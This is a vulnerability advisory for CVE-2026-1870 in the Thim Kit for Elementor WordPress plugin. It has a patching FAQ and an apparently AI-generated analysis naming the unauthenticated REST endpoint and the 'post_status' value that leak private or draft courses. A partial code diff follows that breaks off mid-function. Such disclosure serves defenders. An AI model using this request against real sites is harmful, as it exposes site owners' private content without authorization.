What is CVE-2026-1870?

CVE-2026-1870 is a medium-severity vulnerability in the Thim Kit for Elementor plugin for WordPress, affecting versions up to and including 1.3.7. It allows unauthenticated attackers to access private or draft LearnPress course content due to missing authorization checks on a specific REST API endpoint.

How does the vulnerability work?

The vulnerability arises from the lack of authorization validation in the ‘thim-ekit/archive-course/get-courses’ REST endpoint. Attackers can send a direct POST request with a payload that includes a ‘post_status’ parameter, which can be set to ‘private’ or ‘draft’, allowing them to bypass normal content restrictions.

Who is affected by this vulnerability?

Any WordPress site using the Thim Kit for Elementor plugin version 1.3.7 or earlier is affected by this vulnerability. Administrators can check their plugin version in the WordPress dashboard under Plugins.

How can I check if my site is vulnerable?

To verify if your site is vulnerable, check the version of the Thim Kit for Elementor plugin in your WordPress admin panel. If it is version 1.3.7 or earlier, your site is at risk and should be updated immediately.

How can I fix this vulnerability?

The vulnerability has been patched in version 1.3.8 of the Thim Kit for Elementor plugin. Administrators should update the plugin to the latest version to mitigate this issue.

What if I cannot update the plugin immediately?

If immediate updates are not possible, consider disabling the Thim Kit for Elementor plugin until it can be updated. Additionally, restrict access to the REST API endpoint if feasible.

What does the CVSS score of 5.3 indicate?

A CVSS score of 5.3 indicates a medium severity level, suggesting that while the vulnerability is not critical, it can still lead to unauthorized data exposure. Administrators should treat it seriously and apply updates promptly.

What data can be exposed due to this vulnerability?

Successful exploitation of this vulnerability can disclose sensitive information such as course titles, descriptions, and metadata of private or draft LearnPress courses, violating content privacy controls.

How does the proof of concept demonstrate the vulnerability?

The proof of concept provided shows how an attacker can use a cURL command to send a POST request to the vulnerable REST API endpoint with a malicious payload. This demonstrates the ease with which unauthorized access to private course content can be achieved.

What are the long-term implications of this vulnerability?

If exploited, this vulnerability could lead to unauthorized disclosure of educational materials, undermining the integrity and privacy of course content. It is crucial for educational institutions to address this vulnerability to protect their intellectual property.

Is there any additional information available about this vulnerability?

For more detailed information, including the full analysis and code changes, refer to security advisories from reputable sources or the official plugin repository where updates are documented.

How can I stay informed about future vulnerabilities?

To stay informed, regularly monitor security advisories from the WordPress community, subscribe to vulnerability databases, and follow best practices for maintaining plugin security, including timely updates and vulnerability assessments.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-1870: Thim Kit for Elementor <= 1.3.7 – Missing Authorization to Unauthenticated Private Course Disclosure (thim-elementor-kit)

CVE ID CVE-2026-1870

Plugin thim-elementor-kit

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 1.3.7

Patched Version 1.3.8

Disclosed March 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1870:
The vulnerability exists in the Thim Kit for Elementor plugin’s ‘thim-ekit/archive-course/get-courses’ REST endpoint. The root cause is missing authorization validation in the endpoint’s callback function. The plugin registers this endpoint without checking user capabilities or nonce verification, allowing unauthenticated access to sensitive course data.

Exploitation occurs via a direct POST request to the WordPress REST API endpoint at /wp-json/thim-ekit/archive-course/get-courses. Attackers supply a ‘params_url’ payload containing a ‘post_status’ parameter set to ‘private’ or ‘draft’. This bypasses the default WordPress query restrictions that normally filter out non-public content.

The patch modifies the plugin’s widget registration logic in thim-elementor-kit/inc/widgets/class-archive-course.php. Specifically, it adds capability checks to the REST endpoint handler. The fix implements a permission callback that validates user authorization before processing the request, preventing unauthenticated users from accessing the course query functionality.

Successful exploitation discloses private and draft LearnPress course content, including course titles, descriptions, and metadata. This violates content privacy controls and exposes unpublished educational materials. The vulnerability affects all plugin versions up to and including 1.3.7.

Differential between vulnerable and patched code

Code Diff

--- a/thim-elementor-kit/build/admin.asset.php
+++ b/thim-elementor-kit/build/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '22c71cdabe544b822f7c');
+<?php return array('dependencies' => array('lodash', 'react', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '9ed2b6645881b6e979a5');
--- a/thim-elementor-kit/build/dashboard.asset.php
+++ b/thim-elementor-kit/build/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '65a910e5eae8ba8713b7');
+<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'ec3bca66305fb839c5fd');
--- a/thim-elementor-kit/build/frontend.asset.php
+++ b/thim-elementor-kit/build/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'f5f6138f362393257f37');
+<?php return array('dependencies' => array(), 'version' => '943c43e094bf44bf234f');
--- a/thim-elementor-kit/build/library.asset.php
+++ b/thim-elementor-kit/build/library.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-api-fetch', 'wp-i18n'), 'version' => '06276062cd0a6618dc59');
+<?php return array('dependencies' => array('wp-api-fetch', 'wp-i18n'), 'version' => '947980eefbb1681c4ff8');
--- a/thim-elementor-kit/build/menu.asset.php
+++ b/thim-elementor-kit/build/menu.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-api-fetch', 'wp-components', 'wp-element', 'wp-i18n', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '72d608202196724519d7');
+<?php return array('dependencies' => array('wp-api-fetch', 'wp-components', 'wp-element', 'wp-i18n', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => 'fb04781ee1d5d2e3c37b');
--- a/thim-elementor-kit/build/settings.asset.php
+++ b/thim-elementor-kit/build/settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '4ba2d31283c726db839c');
+<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '0d23ff054c3928b9c27b');
--- a/thim-elementor-kit/build/widgets.asset.php
+++ b/thim-elementor-kit/build/widgets.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'wp-api-fetch', 'wp-url'), 'version' => '059ec712f022a7b44547');
+<?php return array('dependencies' => array('jquery', 'wp-api-fetch', 'wp-url'), 'version' => 'a735e9889ddecf19e775');
--- a/thim-elementor-kit/inc/elementor/class-elementor.php
+++ b/thim-elementor-kit/inc/elementor/class-elementor.php
@@ -1,520 +1,521 @@
-<?php
-
-namespace Thim_EL_Kit;
-
-use ElementorControls_Manager;
-use Thim_EL_KitElementorControlsControls_Manager as Thim_Controls_Manager;
-
-class Elementor {
-	use SingletonTrait;
-
-	const CATEGORY                    = 'thim_ekit';
-	const CATEGORY_RECOMMENDED        = 'thim_ekit_recommended';
-	const CATEGORY_ARCHIVE_POST       = 'thim_ekit_archive_post';
-	const CATEGORY_SINGLE_POST        = 'thim_ekit_single_post';
-	const CATEGORY_ARCHIVE_PRODUCT    = 'thim_ekit_archive_product';
-	const CATEGORY_SINGLE_PRODUCT     = 'thim_ekit_single_product';
-	const CATEGORY_ARCHIVE_COURSE     = 'thim_ekit_archive_course';
-	const CATEGORY_SINGLE_COURSE      = 'thim_ekit_single_course';
-	const CATEGORY_SINGLE_COURSE_ITEM = 'thim_ekit_single_course_items';
-
-	public function __construct() {
-		$this->includes();
-
-		// Register Controls
-		add_action( 'elementor/controls/register', array( $this, 'register_controls' ), 11 );
-
-		add_action( 'elementor/documents/register_controls', array( $this, 'register_documents' ) );
-		add_action( 'elementor/elements/categories_registered', array( $this, 'register_category' ) );
-		add_action( 'elementor/widgets/register', array( $this, 'register_widgets' ), 10, 1 );
-		add_filter( 'lp/rest/ajax/allow_callback', [ $this, 'register_callback_ajax' ] );
-		// Additional Animations
-		add_filter( 'elementor/controls/animations/additional_animations', [ $this, 'extra_animations' ], 10 );
-
-		add_action(
-			'elementor/element/section/section_advanced/after_section_end',
-			[ $this, 'register_extral_animation_controls' ]
-		);
-		add_action(
-			'elementor/element/common/_section_style/after_section_end',
-			[ $this, 'register_extral_animation_controls' ]
-		);
-		add_action(
-			'elementor/element/column/section_advanced/after_section_end',
-			[ $this, 'register_extral_animation_controls' ]
-		);
-		add_action(
-			'elementor/element/container/section_layout/after_section_end',
-			[ $this, 'register_extral_animation_controls' ]
-		);
-	}
-
-	public function includes() {
-		// Widgets
-		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/class-widgets.php';
-
-		// Controls
-		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/controls/control-manager.php';
-		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/controls/autocomplete.php';
-		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/controls/image-select.php';
-		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/controls/select2.php';
-
-		// Custom Css Control
-		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/custom-css/class-custom-css.php';
-
-		// Motion Effects Control
-		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/motion-effects/class-init.php';
-
-		// Library
-		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/library/class-init.php';
-
-		// Dynamic Tags
-		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/dynamic-tags/class-init.php';
-
-		// Custom hooks
-		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/class-hooks.php';
-	}
-
-	public function register_documents( $document ) {
-		if ( get_the_ID() ) {
-			$type = get_post_meta( get_the_ID(), Custom_Post_Type::TYPE, true );
-
-			$post_type = '';
-
-			if ( $type === 'single-post' ) {
-				$post_type = 'post';
-			}
-
-			if ( class_exists( 'WooCommerce' ) && $type === 'single-product' ) {
-				$post_type = 'product';
-			}
-
-			if ( class_exists( 'LearnPress' ) && in_array( $type, array( 'single-course', 'single-course-item' ) ) ) {
-				$post_type = 'lp_course';
-			}
-
-			$post_type = apply_filters( 'thim_ekit/elementor/documents/preview_item', $post_type, $type );
-
-			if ( ! empty( $post_type ) ) {
-				$document->start_controls_section(
-					'preview_settings',
-					array(
-						'label' => esc_html__( 'Preview Settings', 'thim-elementor-kit' ),
-						'tab'   => Controls_Manager::TAB_SETTINGS,
-					)
-				);
-
-				if ( $type === 'loop_item' ) {
-					$document->add_responsive_control(
-						'preview_width',
-						array(
-							'label'      => esc_html__( 'Width', 'thim-elementor-kit' ),
-							'type'       => ElementorControls_Manager::SLIDER,
-							'size_units' => array( 'px', '%', 'em', 'rem', 'vw', 'custom' ),
-							'range'      => array(
-								'px' => array(
-									'min' => 200,
-									'max' => 1140,
-								),
-							),
-							'selectors'  => array(
-								'{{WRAPPER}}' => '--thim-preview-width: {{SIZE}}{{UNIT}};',
-							),
-						)
-					);
-				}
-
-				$document->add_control(
-					'thim_ekits_preview_id',
-					array(
-						'label'       => esc_html__( 'Search & Select', 'thim-elementor-kit' ),
-						'type'        => Thim_Controls_Manager::AUTOCOMPLETE,
-						'rest_action' => 'get-posts?post_type=' . $post_type,
-						'label_block' => true,
-					)
-				);
-
-				$document->add_control(
-					'thim_ekits_apply_preview',
-					array(
-						'type'      => Controls_Manager::BUTTON,
-						'label'     => '',
-						'text'      => esc_html__( 'Save & Preview', 'thim-elementor-kit' ),
-						'separator' => 'none',
-						'event'     => 'thimELKitsPreview',
-					)
-				);
-
-				$document->end_controls_section();
-			}
-		}
-	}
-
-	public function register_category( ElementorElements_Manager $elements_manager ) {
-		$categories = apply_filters(
-			'thim_ekit_elementor_category',
-			array(
-				self::CATEGORY_ARCHIVE_POST       => array(
-					'title' => esc_html__( 'Thim Archive Post', 'thim-elementor-kit' ),
-					'icon'  => 'fa fa-plug',
-				),
-				self::CATEGORY_SINGLE_POST        => array(
-					'title' => esc_html__( 'Thim Single Post', 'thim-elementor-kit' ),
-					'icon'  => 'fa fa-plug',
-				),
-				self::CATEGORY_ARCHIVE_PRODUCT    => array(
-					'title' => esc_html__( 'Thim Archive Product', 'thim-elementor-kit' ),
-					'icon'  => 'fa fa-plug',
-				),
-				self::CATEGORY_SINGLE_PRODUCT     => array(
-					'title' => esc_html__( 'Thim Single Product', 'thim-elementor-kit' ),
-					'icon'  => 'fa fa-plug',
-				),
-				self::CATEGORY_ARCHIVE_COURSE     => array(
-					'title' => esc_html__( 'Thim Archive Course', 'thim-elementor-kit' ),
-					'icon'  => 'fa fa-plug',
-				),
-				self::CATEGORY_SINGLE_COURSE      => array(
-					'title' => esc_html__( 'Thim Single Course', 'thim-elementor-kit' ),
-					'icon'  => 'fa fa-plug',
-				),
-				self::CATEGORY_SINGLE_COURSE_ITEM => array(
-					'title' => esc_html__( 'Thim Single Course Item', 'thim-elementor-kit' ),
-					'icon'  => 'fa fa-plug',
-				),
-				self::CATEGORY_RECOMMENDED        => array(
-					'title' => esc_html__( 'Thim Recommended', 'thim-elementor-kit' ),
-					'icon'  => 'fa fa-plug',
-				),
-				self::CATEGORY                    => array(
-					'title' => esc_html__( 'Thim Basic', 'thim-elementor-kit' ),
-					'icon'  => 'fa fa-plug',
-				),
-			)
-		);
-
-		$old_categories = $elements_manager->get_categories();
-		$categories     = array_merge( $categories, $old_categories );
-
-		$set_categories = function ( $categories ) {
-			$this->categories = $categories;
-		};
-
-		$set_categories->call( $elements_manager, $categories );
-	}
-
-	public function register_controls( $controls_manager ) {
-		$controls_manager->register( new Thim_EL_KitElementorControlsAutocomplete() );
-		$controls_manager->register( new Thim_EL_KitElementorControlsImage_Select() );
-		$controls_manager->register( new Thim_EL_KitElementorControlsSelect2() );
-	}
-
-	public function register_widgets( $widgets_manager ) {
-		return Thim_EL_KitElementorWidgets::instance()->register_widgets( $widgets_manager );
-	}
-
-	public static function get_cat_taxonomy( $taxomony = 'category', $cats = false, $id = true ) {
-		if ( ! $cats ) {
-			$cats = array();
-		}
-		$terms = new WP_Term_Query(
-			array(
-				'taxonomy'     => $taxomony,
-				'pad_counts'   => 1,
-				'hierarchical' => 1,
-				'hide_empty'   => 1,
-				'orderby'      => 'name',
-				'menu_order'   => true,
-			)
-		);
-
-		if ( is_wp_error( $terms ) ) {
-		} elseif ( empty( $terms->terms ) ) {
-		} else {
-			foreach ( $terms->terms as $term ) {
-				$prefix = '';
-				if ( $term->parent > 0 ) {
-					$prefix = '--';
-				}
-				if ( $id ) {
-					$cats[ $term->term_id ] = $prefix . $term->name;
-				} else {
-					$cats[ $term->slug ] = $prefix . $term->name;
-				}
-			}
-		}
-
-		return $cats;
-	}
-
-	public static function register_options_courses_meta_data() {
-		$opt                  = array();
-		$opt['duration']      = esc_html__( 'Duration', 'thim-elementor-kit' );
-		$opt['level']         = esc_html__( 'Level', 'thim-elementor-kit' );
-		$opt['count_lesson']  = esc_html__( 'Count Lesson', 'thim-elementor-kit' );
-		$opt['count_quiz']    = esc_html__( 'Count Quiz', 'thim-elementor-kit' );
-		$opt['count_student'] = esc_html__( 'Count Student', 'thim-elementor-kit' );
-		$opt['instructor']    = esc_html__( 'Instructor', 'thim-elementor-kit' );
-		$opt['category']      = esc_html__( 'Category', 'thim-elementor-kit' );
-		$opt['tag']           = esc_html__( 'Tag', 'thim-elementor-kit' );
-		$opt['price']         = esc_html__( 'Price', 'thim-elementor-kit' );
-
-		return apply_filters( 'learn-thim-kits-lp-meta-data', $opt );
-	}
-
-	public static function register_option_dynamic_tags_item_terms() {
-		$options = [ '' => esc_html__( 'Select...', 'thim-elementor-kit' ), ];
-
-		$options['category'] = esc_html__( 'Categories', 'thim-elementor-kit' );
-		$options['tags']     = esc_html__( 'Tags', 'thim-elementor-kit' );
-
-		if ( class_exists( 'LearnPress' ) ) {
-			$options['course_category'] = esc_html__( 'Course categories', 'thim-elementor-kit' );
-			$options['course_tag']      = esc_html__( 'Course tags', 'thim-elementor-kit' );
-		}
-
-		if ( class_exists( 'WooCommerce' ) ) {
-			$options['product_cat'] = esc_html__( 'Product categories', 'thim-elementor-kit' );
-			$options['product_tag'] = esc_html__( 'Product tags', 'thim-elementor-kit' );
-		}
-
-		return apply_filters( 'thim-ekitsdynamic-tagsitem-terms', $options );
-	}
-
-	public function get_tab_options() {
-		$tab_options = array(
-			'overview'   => esc_html__( 'Overview', 'thim-elementor-kit' ),
-			'curriculum' => esc_html__( 'Curriculum', 'thim-elementor-kit' ),
-			'faqs'       => esc_html__( 'FAQs', 'thim-elementor-kit' ),
-			'instructor' => esc_html__( 'Instructor', 'thim-elementor-kit' ),
-			'materials'  => esc_html__( 'Materials', 'learnpress' ),
-		);
-
-		if ( class_exists( 'LP_Addon_Announcements' ) ) {
-			$tab_options['announcements'] = esc_html__( 'Announcements', 'thim-elementor-kit' );
-		}
-
-		if ( class_exists( 'LP_Addon_Course_Review' ) ) {
-			$tab_options['reviews'] = esc_html__( 'Reviews', 'thim-elementor-kit' );
-		}
-
-		if ( class_exists( 'LP_Addon_Students_List' ) ) {
-			$tab_options['students-list'] = esc_html__( 'Students List', 'thim-elementor-kit' );
-		}
-
-		if ( class_exists( 'LP_Addon_Upsell_Preload' ) ) {
-			$tab_options['package'] = esc_html__( 'Package', 'thim-elementor-kit' );
-		}
-
-		return apply_filters( 'thim_ekits_learnpress_tab_options', $tab_options );
-	}
-
-	public function register_callback_ajax( $callbacks ) {
-		$callbacks[] = 'ElementorThim_Ekit_Widget_Archive_Course:render_courses';
-
-		return $callbacks;
-	}
-
-	/**
-	 *
-	 * extra animation
-	 *
-	 * @since  1.0.0
-	 * @access public
-	 */
-	public function extra_animations() {
-		$extra_animations = array(
-			__( 'Thim eKit Animations', 'thim-elementor-kit' ) => [
-				'ekit--scale'       => __( 'Scale', 'thim-elementor-kit' ),
-				'ekit--fancy'       => __( 'Fancy', 'thim-elementor-kit' ),
-				'ekit--slide-up'    => __( 'Slide Up', 'thim-elementor-kit' ),
-				'ekit--slide-left'  => __( 'Slide Left', 'thim-elementor-kit' ),
-				'ekit--slide-right' => __( 'Slide Right', 'thim-elementor-kit' ),
-				'ekit--slide-down'  => __( 'Slide Down', 'thim-elementor-kit' )
-			]
-		);
-
-		return $extra_animations;
-	}
-
-	public function register_extral_animation_controls( $element ) {
-		if ( $element->get_name() !== 'common' ) {
-			$element->start_controls_section(
-				'animation_section',
-				[
-					'label' => __( 'Thim: Animation', 'thim-elementor-kit' ),
-					'tab'   => Controls_Manager::TAB_ADVANCED
-				]
-			);
-			$element->add_control(
-				'animation_type',
-				[
-					'label'       => __( 'Animation Type', 'thim-elementor-kit' ),
-					'type'        => Controls_Manager::SELECT,
-					'label_block' => true,
-					'default'     => '',
-					'options'     => [
-						''                   => __( 'None', 'thim-elementor-kit' ),
-						'transform-animated' => __( 'Transform Animated', 'thim-elementor-kit' ),
-						'infinite-animation' => __( 'Animation', 'thim-elementor-kit' ),
-					]
-				]
-			);
-			$element->add_control(
-				'transform_animated_type',
-				[
-					'label'     => __( 'Type', 'thim-elementor-kit' ),
-					'type'      => Controls_Manager::SELECT,
-					'default'   => '',
-					'options'   => [
-						''                          => __( 'Select Animation', 'thim-elementor-kit' ),
-						'ekit-animated-transform-1' => __( 'Transform 1', 'thim-elementor-kit' ),
-						'ekit-animated-transform-2' => __( 'Transform 2', 'thim-elementor-kit' ),
-						'ekit-animated-transform-3' => __( 'Transform 3', 'thim-elementor-kit' ),
-						'ekit-animated-transform-4' => __( 'Transform 4', 'thim-elementor-kit' ),
-						'ekit-animated-transform-5' => __( 'Transform 5', 'thim-elementor-kit' ),
-					],
-					'selectors' => [
-						'{{WRAPPER}} > div' =>
-							'-webkit-animation: {{VALUE}} 10s infinite;
-							-moz-animation: {{VALUE}} 10s infinite;
-							-ms-animation: {{VALUE}} 10s infinite;
-							-o-animation: {{VALUE}} 10s infinite;
-							animation: {{VALUE}} 10s infinite;
-							overflow: hidden;'
-					],
-					'condition' => [
-						'animation_type' => 'transform-animated'
-					]
-				]
-			);
-
-			$element->add_control(
-				'infinite_animation_type',
-				[
-					'label'     => __( 'Animation Type', 'thim-elementor-kit' ),
-					'type'      => Controls_Manager::SELECT,
-					'options'   => [
-						''                        => __( 'Select Animation', 'thim-elementor-kit' ),
-						'ekit-circle-small'       => __( 'Circle Small', 'thim-elementor-kit' ),
-						'ekit-circle-medium'      => __( 'Circle Medium', 'thim-elementor-kit' ),
-						'ekit-circle-large'       => __( 'Circle Large', 'thim-elementor-kit' ),
-						'ekit-fade-in-out'        => __( 'Fade In Out', 'thim-elementor-kit' ),
-						'ekit-flipX'              => __( 'flipX', 'thim-elementor-kit' ),
-						'ekit-flipY'              => __( 'flipY', 'thim-elementor-kit' ),
-						'ekit-vsm-y-move'         => __( 'Move Y Very Small', 'thim-elementor-kit' ),
-						'ekit-vsm-y-reverse-move' => __( 'Move Y Very Small ( Reverse )', 'thim-elementor-kit' ),
-						'ekit-sm-y-move'          => __( 'Move Y Small', 'thim-elementor-kit' ),
-						'ekit-md-y-move'          => __( 'Move Y Medium', 'thim-elementor-kit' ),
-						'ekit-lg-y-move'          => __( 'Move Y Large', 'thim-elementor-kit' ),
-						'ekit-sm-x-move'         => __( 'Move X Small', 'thim-elementor-kit' ),
-						'ekit-md-x-move'          => __( 'Move X Medium', 'thim-elementor-kit' ),
-						'ekit-lg-x-move'          => __( 'Move X Large', 'thim-elementor-kit' ),
-						'ekit-sm-xy-move'         => __( 'Move XY Small', 'thim-elementor-kit' ),
-						'ekit-md-xy-move'         => __( 'Move XY Medium', 'thim-elementor-kit' ),
-						'ekit-lg-xy-move'         => __( 'Move XY Large', 'thim-elementor-kit' ),
-						'ekit-sm-yx-move'         => __( 'Move YX Small', 'thim-elementor-kit' ),
-						// 5s alternate infinite linear
-						'ekit-md-yx-move'         => __( 'Move YX Medium', 'thim-elementor-kit' ),
-						'ekit-lg-yx-move'         => __( 'Move YX Large', 'thim-elementor-kit' ),
-						'ekit-rotate-x'           => __( 'Rotate X', 'thim-elementor-kit' ),
-						'ekit-rotate-y'           => __( 'Rotate Y', 'thim-elementor-kit' ),
-						'ekit-swing'              => __( 'Swing', 'thim-elementor-kit' ),
-						'ekit-spinners'           => __( 'Spinners', 'thim-elementor-kit' ),
-						'ekit-zoom-in-out'        => __( 'Zoom In Out', 'thim-elementor-kit' ),
-					],
-					'selectors' => [
-						'{{WRAPPER}} > div' => '
-							-webkit-animation: {{VALUE}} 2s;
-							 -moz-animation: {{VALUE}} 2s;
-							 -ms-animation: {{VALUE}} 2s;
-							 -o-animation: {{VALUE}} 2s;
-							 animation: {{VALUE}} 2s;'
-					],
-					'condition' => [
-						'animation_type' => 'infinite-animation'
-					]
-				]
-			);
-
-			$element->add_control(
-				'enable_custom_duration',
-				[
-					'label'     => __( 'Custom Animation Duration', 'thim-elementor-kit' ),
-					'type'      => Controls_Manager::SWITCHER,
-					'label_on'  => __( 'Enable', 'thim-elementor-kit' ),
-					'label_off' => __( 'Disable', 'thim-elementor-kit' ),
-					'condition' => [
-						'animation_type' => 'infinite-animation'
-					]
-				]
-			);
-
-			$element->add_responsive_control(
-				'custom_duration',
-				[
-					'label'       => __( 'Set Animation Duration', 'thim-elementor-kit' ),
-					'type'        => Controls_Manager::SLIDER,
-					'range'       => [
-						'px' => [
-							'min'  => 1,
-							'max'  => 35,
-							'step' => 1
-						]
-					],
-					'description' => __( 'Set custom animation duration in second( unit ).', 'thim-elementor-kit' ),
-					'selectors'   => [
-						'{{WRAPPER}} > div' => '-webkit-animation-duration: {{SIZE}}s; -moz-animation-duration: {{SIZE}}s; -ms-animation-duration: {{SIZE}}s; -o-animation-duration: {{SIZE}}s; animation-duration: {{SIZE}}s;'
-					],
-					'condition'   => [
-						'animation_type'         => 'infinite-animation',
-						'enable_custom_duration' => 'yes',
-					]
-				]
-			);
-
-			$element->add_responsive_control(
-				'custom_count',
-				[
-					'label'       => __( 'Set Animation Count', 'thim-elementor-kit' ),
-					'type'        => Controls_Manager::SLIDER,
-					'range'       => [
-						'px' => [
-							'min'  => 1,
-							'max'  => 35,
-							'step' => 1
-						]
-					],
-					'description' => __( 'Sets the number of times an animation sequence should be played before stopping.', 'thim-elementor-kit' ),
-					'selectors'   => [
-						'{{WRAPPER}} > div' => 'animation-iteration-count: {{SIZE}};',
- 					],
-					'condition'   => [
-						'animation_type'         => 'infinite-animation',
-						'enable_custom_duration' => 'yes',
-					]
-				]
-			);
-
-			$element->add_responsive_control(
-				'item_opacity',
-				[
-					'label'     => __( 'Opacity', 'thim-elementor-kit' ),
-					'type'      => Controls_Manager::SLIDER,
-					'range'     => [
-						'px' => [
-							'max'  => 1,
-							'step' => 0.01
-						]
-					],
-					'selectors' => [
-						'{{WRAPPER}} > div' => 'opacity: {{SIZE}}'
-					]
-				]
-			);
-			$element->end_controls_section();
-		}
-	}
-}
-
-Elementor::instance();
+<?php
+
+namespace Thim_EL_Kit;
+
+use ElementorControls_Manager;
+use Thim_EL_KitElementorControlsControls_Manager as Thim_Controls_Manager;
+
+class Elementor {
+	use SingletonTrait;
+
+	const CATEGORY                    = 'thim_ekit';
+	const CATEGORY_RECOMMENDED        = 'thim_ekit_recommended';
+	const CATEGORY_ARCHIVE_POST       = 'thim_ekit_archive_post';
+	const CATEGORY_SINGLE_POST        = 'thim_ekit_single_post';
+	const CATEGORY_ARCHIVE_PRODUCT    = 'thim_ekit_archive_product';
+	const CATEGORY_SINGLE_PRODUCT     = 'thim_ekit_single_product';
+	const CATEGORY_ARCHIVE_COURSE     = 'thim_ekit_archive_course';
+	const CATEGORY_SINGLE_COURSE      = 'thim_ekit_single_course';
+	const CATEGORY_SINGLE_COURSE_ITEM = 'thim_ekit_single_course_items';
+
+	public function __construct() {
+		$this->includes();
+
+		// Register Controls
+		add_action( 'elementor/controls/register', array( $this, 'register_controls' ), 11 );
+
+		add_action( 'elementor/documents/register_controls', array( $this, 'register_documents' ) );
+		add_action( 'elementor/elements/categories_registered', array( $this, 'register_category' ) );
+		add_action( 'elementor/widgets/register', array( $this, 'register_widgets' ), 10, 1 );
+		add_filter( 'lp/rest/ajax/allow_callback', [ $this, 'register_callback_ajax' ] );
+		// Additional Animations
+		add_filter( 'elementor/controls/animations/additional_animations', [ $this, 'extra_animations' ], 10 );
+
+		add_action(
+			'elementor/element/section/section_advanced/after_section_end',
+			[ $this, 'register_extral_animation_controls' ]
+		);
+		add_action(
+			'elementor/element/common/_section_style/after_section_end',
+			[ $this, 'register_extral_animation_controls' ]
+		);
+		add_action(
+			'elementor/element/column/section_advanced/after_section_end',
+			[ $this, 'register_extral_animation_controls' ]
+		);
+		add_action(
+			'elementor/element/container/section_layout/after_section_end',
+			[ $this, 'register_extral_animation_controls' ]
+		);
+	}
+
+	public function includes() {
+		// Widgets
+		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/class-widgets.php';
+
+		// Controls
+		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/controls/control-manager.php';
+		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/controls/autocomplete.php';
+		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/controls/image-select.php';
+		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/controls/select2.php';
+
+		// Custom Css Control
+		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/custom-css/class-custom-css.php';
+
+		// Motion Effects Control
+		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/motion-effects/class-init.php';
+
+		// Library
+		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/library/class-init.php';
+
+		// Dynamic Tags
+		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/dynamic-tags/class-init.php';
+
+		// Custom hooks
+		include_once THIM_EKIT_PLUGIN_PATH . 'inc/elementor/class-hooks.php';
+	}
+
+	public function register_documents( $document ) {
+		if ( get_the_ID() ) {
+			$type = get_post_meta( get_the_ID(), Custom_Post_Type::TYPE, true );
+
+			$post_type = '';
+
+			if ( $type === 'single-post' ) {
+				$post_type = 'post';
+			}
+
+			if ( class_exists( 'WooCommerce' ) && $type === 'single-product' ) {
+				$post_type = 'product';
+			}
+
+			if ( class_exists( 'LearnPress' ) && in_array( $type, array( 'single-course', 'single-course-item' ) ) ) {
+				$post_type = 'lp_course';
+			}
+
+			$post_type = apply_filters( 'thim_ekit/elementor/documents/preview_item', $post_type, $type );
+
+			if ( ! empty( $post_type ) ) {
+				$document->start_controls_section(
+					'preview_settings',
+					array(
+						'label' => esc_html__( 'Preview Settings', 'thim-elementor-kit' ),
+						'tab'   => Controls_Manager::TAB_SETTINGS,
+					)
+				);
+
+				if ( $type === 'loop_item' ) {
+					$document->add_responsive_control(
+						'preview_width',
+						array(
+							'label'      => esc_html__( 'Width', 'thim-elementor-kit' ),
+							'type'       => ElementorControls_Manager::SLIDER,
+							'size_units' => array( 'px', '%', 'em', 'rem', 'vw', 'custom' ),
+							'range'      => array(
+								'px' => array(
+									'min' => 200,
+									'max' => 1140,
+								),
+							),
+							'selectors'  => array(
+								'{{WRAPPER}}' => '--thim-preview-width: {{SIZE}}{{UNIT}};',
+							),
+						)
+					);
+				}
+
+				$document->add_control(
+					'thim_ekits_preview_id',
+					array(
+						'label'       => esc_html__( 'Search & Select', 'thim-elementor-kit' ),
+						'type'        => Thim_Controls_Manager::AUTOCOMPLETE,
+						'rest_action' => 'get-posts?post_type=' . $post_type,
+						'label_block' => true,
+					)
+				);
+
+				$document->add_control(
+					'thim_ekits_apply_preview',
+					array(
+						'type'      => Controls_Manager::BUTTON,
+						'label'     => '',
+						'text'      => esc_html__( 'Save & Preview', 'thim-elementor-kit' ),
+						'separator' => 'none',
+						'event'     => 'thimELKitsPreview',
+					)
+				);
+
+				$document->end_controls_section();
+			}
+		}
+	}
+
+	public function register_category( ElementorElements_Manager $elements_manager ) {
+		$categories = apply_filters(
